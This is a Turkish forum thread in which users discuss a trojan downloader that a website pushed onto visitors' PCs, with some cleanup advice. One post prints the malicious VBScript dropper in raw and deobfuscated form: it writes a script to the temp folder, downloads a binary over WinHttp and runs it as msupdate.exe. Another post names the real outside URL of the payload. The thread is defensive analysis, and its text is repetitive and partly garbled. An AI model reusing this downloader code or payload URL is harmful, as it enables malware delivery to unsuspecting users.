Notoryusa bi mesaj çakayım taratsın beni ben anlamıyorm bu işlerden

: hoca şimdi birkaç web sayfasına get gnderiyor, adodb yani database işlemleri yapıyor ve msuptade. exe diye bir dosya çalıştırıyor temp klasründen, bunu yapmadan dosya izinleriylede oynuyor. bunları o inen. exe kurulduktan sonramı yapıyor yoksa kurmadan mı bilgisyarda varken mi yapıyo

kodun saf hali: Set WshShell = CreateObject WshShell. Run "cmd. exe /c echo Const adTypeBinary = 1 > %temp%\winupdate. vbs & echo Const adSaveCreateOverWrite = 2 >> %temp%\winupdate. vbs & echo Dim abc >> %temp%\winupdate. vbs & echo Dim xyz >> %temp%\winupdate. vbs & echo Dim rofl >> %temp%\winupdate. vbs & echo abc = ""ADODB"" >> %temp%\winupdate. vbs & echo xyz = "". Stream"" >> %temp%\winupdate. vbs & echo Set rofl = CreateObject >> %temp%\winupdate. vbs & echo rofl. Type = adTypeBinary >> %temp%\winupdate. vbs & echo rofl. Open >> %temp%\winupdate. vbs & echo rofl. Write BinaryGetURL(Wscript. Arguments(0)) >> %temp%\winupdate. vbs & echo rofl. SaveToFile Wscript. Arguments(1), adSaveCreateOverWrite >> %temp%\winupdate. vbs & echo Function BinaryGetURL >> %temp%\winupdate. vbs & echo Dim lol >> %temp%\winupdate. vbs & echo Set lol = CreateObject(""WinHttp. WinHttpRequest.5.1"") >> %temp%\winupdate. vbs & echo lol. Open ""GET"", URL, False >> %temp%\winupdate. vbs & echo lol. Send >> %temp%\winupdate. vbs & echo BinaryGetURL = lol. ResponseBody >> %temp%\winupdate. vbs & echo End Function >> %temp%\winupdate. vbs & echo Set blub = CreateObject >> %temp%\winupdate. vbs & echo blub. Run ""%temp%\msupdate. exe"" >> %temp%\winupdate. vbs & start %temp%\winupdate. vbs %temp%\msupdate. exe", 0, False ayıkladığım hali: Const adTypeBinary = 1 Const adSaveCreateOverWrite = 2 Dim abc Dim xyz Dim rofl abc = ""ADODB"" xyz = "". Stream"" Set rofl = CreateObject rofl. Type = adTypeBinary rofl. Open rofl. Write BinaryGetURL(Wscript. Arguments(0)) rofl. SaveToFile Wscript. Arguments(1), adSaveCreateOverWrite Function BinaryGetURL Dim lol Set lol = CreateObject(""WinHttp. WinHttpRequest.5.1"") lol. Open ""GET"", URL, False lol. Send BinaryGetURL = lol. ResponseBody End Function Set blub = CreateObject blub. Run ""%temp%\msupdate. exe"" %temp%\winupdate. vbs & start %temp%\winupdate. vbs %temp%\msupdate. exe", 0, False

: başlangıçta sms5. exe var mı bir bak.comfobix ve cleanerle taratıyorum bişe kalırmı acabaSamSs diye bişe war bunumu diyon?

: Pcye kendiliğinden indi amk virüsü. Direkt sildim sıkıntı olur mu? hocam virüs nereye inmiş? şyle bi durum var. virüsler direk indiği dizinde olmuyor. appdata/windows/system 32 vsvs. bazı yerlere kendisini atıyor. başlangıcada oradan ekliyor. bende niye java bile açılmadı ya :D

Siteye girenler dikkatli olsunlar. Sitede sorgusuz javadown trojan yüklemişler..

bende hiç bişe sormadan indirdi walla. program. exe diye indi. bilmiyomki java kaç sürüm

Beyler biri yardım etsede silsek şunu? kim yardım eder ki bana

: . exe şeklinde iniyor kurmadıktan sonra sorun yok sanırsam? 1.32 kb. pcdoktor sen anlıyon bu işlerden :D esetin tara sonucu da altta war ne diyosun?gitmesin bütün şifrelerim sonra? valla bende aktif olmadı bişey diyemicem. ama java aktif oluyorsa o zaman şyle bi sorun varki. java downloaderlarda çalıştırma modülüde oluyor. tempe bi bak bakalım msupdate. exe diye bişey varmı?

: VBDream bunu yazdı: hoca şimdi birkaç web sayfasına get gnderiyor, adodb yani database işlemleri yapıyor ve msuptade. exe diye bir dosya çalıştırıyor temp klasründen, bunu yapmadan dosya izinleriylede oynuyor. bunları o inen. exe kurulduktan sonramı yapıyor yoksa kurmadan mı bilgisyarda varken mi yapıyo hocam şimdi şyle ilk antiler kıllanmasın diye herhalde sonradan yazıyor dosyayı yani o winupdate. vbs şu komutu. vbs dosyasına ekle diyor ve sonra çalıştır diyor direk salt kod yok orda, sonra en son adım dosya izinlerini ayarladıktan sonra tempte ki msuptade. exe yi çalıştırıyor. Muhtemelen çalıştırdı ve virüs kendini kimbilir nereye kopyaladı ve msupdate i sildi.

edit:hallettim

: İndirme klasrüne indi direkt ufak bi analiz. bende indirme olmadığı için vbsden baktım :D http://date4me.co. il/admin/icons/abc/tdz. exe bunu indiriyo tempe msupdate. exe olarak atıyo. ama başlangıca atılan büyük ihtimal tempteki değildir..

. exe şeklinde iniyor kurmadıktan sonra sorun yok sanırsam? 1.32 kb. pcdoktor sen anlıyon bu işlerden :D esetin tara sonucu da altta war ne diyosun?gitmesin bütün şifrelerim sonra?

: Bende bişey çıkmadı. Zemana mı engelliyor acaba? hocam zemananın otomatik engelleme gibi bişeyi yok. dediğim gibi büyük ihtimal elimizdeki javalardan. update 18den sonrasında çalışmayanlardan heralde.

hoca şimdi birkaç web sayfasına get gnderiyor, adodb yani database işlemleri yapıyor ve msuptade. exe diye bir dosya çalıştırıyor temp klasründen, bunu yapmadan dosya izinleriylede oynuyor.

Wallahi bişe sormadan indi ya. sorsa indirmezdim herhalde

bende herhangi bi faaliyet yok java aktif olmamış. büyük ihtimal bizim yayınladığımızdan. eğer oysa update 18den sonrasında çalışmaz..

: Temp klasrü boş hiç bişe yok temiz olabilir. kesin bişey diyemicem kendimde açamadığım için.

: tosun bunu yazdı: . exe şeklinde iniyor kurmadıktan sonra sorun yok sanırsam? 1.32 kb. pcdoktor sen anlıyon bu işlerden :D esetin tara sonucu da altta war ne diyosun?gitmesin bütün şifrelerim sonra? valla bende aktif olmadı bişey diyemicem. ama java aktif oluyorsa o zaman şyle bi sorun varki. java downloaderlarda çalıştırma modülüde oluyor. tempe bi bak bakalım msupdate. exe diye bişey varmı?

:S garip bişey ya. sorgusuz java değil sanırsam çünkü javayı açtım kodlara baktım downloadera benzemiyor bu. sadece vbs dosyasında download ettirme kodları var. :S kaldıki sorgusuz java olsa adam vbs dosyasınımı indirtcek otomatik. direk exeyi indirtir. garip bi durum. sorgusuz indi diyen arkadaşlar java versiyonunuz kaç? 18den aşağımı?

ya sizde nasıl çalıştı beyler :D bende hiçbişey yok java bile çalışmaya başlamıyo. vbs uyarısı vs gelmiyo :S sizin java sürümü ne

Temp klasrü boş hiç bişe yok

Bende bişey çıkmadı. Zemana mı engelliyor acaba?

başlangıçta sms5. exe var mı bir bak. Sevmem yazmayı, okumayı sevdiğim kadar.

İndirme klasrüne indi direkt

yok sorgusuz değil downloader. biraz ayar çektim localde test ettim run-cancel geliyor. kaldıki adamlar javayla bi iş yapmamışlar heralde. vbs dosyasından indirtiyolar tek yaptıkları bu. yada en azından bende yle oldu. vbs dosyası çalıştır kaydet vs. de çıkmadı bende garip.

: yok sorgusuz değil downloader. biraz ayar çektim localde test ettim run-cancel geliyor. kaldıki adamlar javayla bi iş yapmamışlar heralde. vbs dosyasından indirtiyolar tek yaptıkları bu. yada en azından bende yle oldu. vbs dosyası çalıştır kaydet vs. de çıkmadı bende garip. yollasana kodları

kullanmadiginiz zamanlarda browser'dan javayi disable edebilirsiniz extra olaraktan. firefox icin eklentiler bolumunden ie icinse hizlandiricilar bolumunden.. az insan çok huzur.

yakında googledan engeli yer. yazık olur okadar emeğede. kelimeler albayım bazı anlamlara gelmiyor.

Pcye kendiliğinden indi amk virüsü. Direkt sildim sıkıntı olur mu?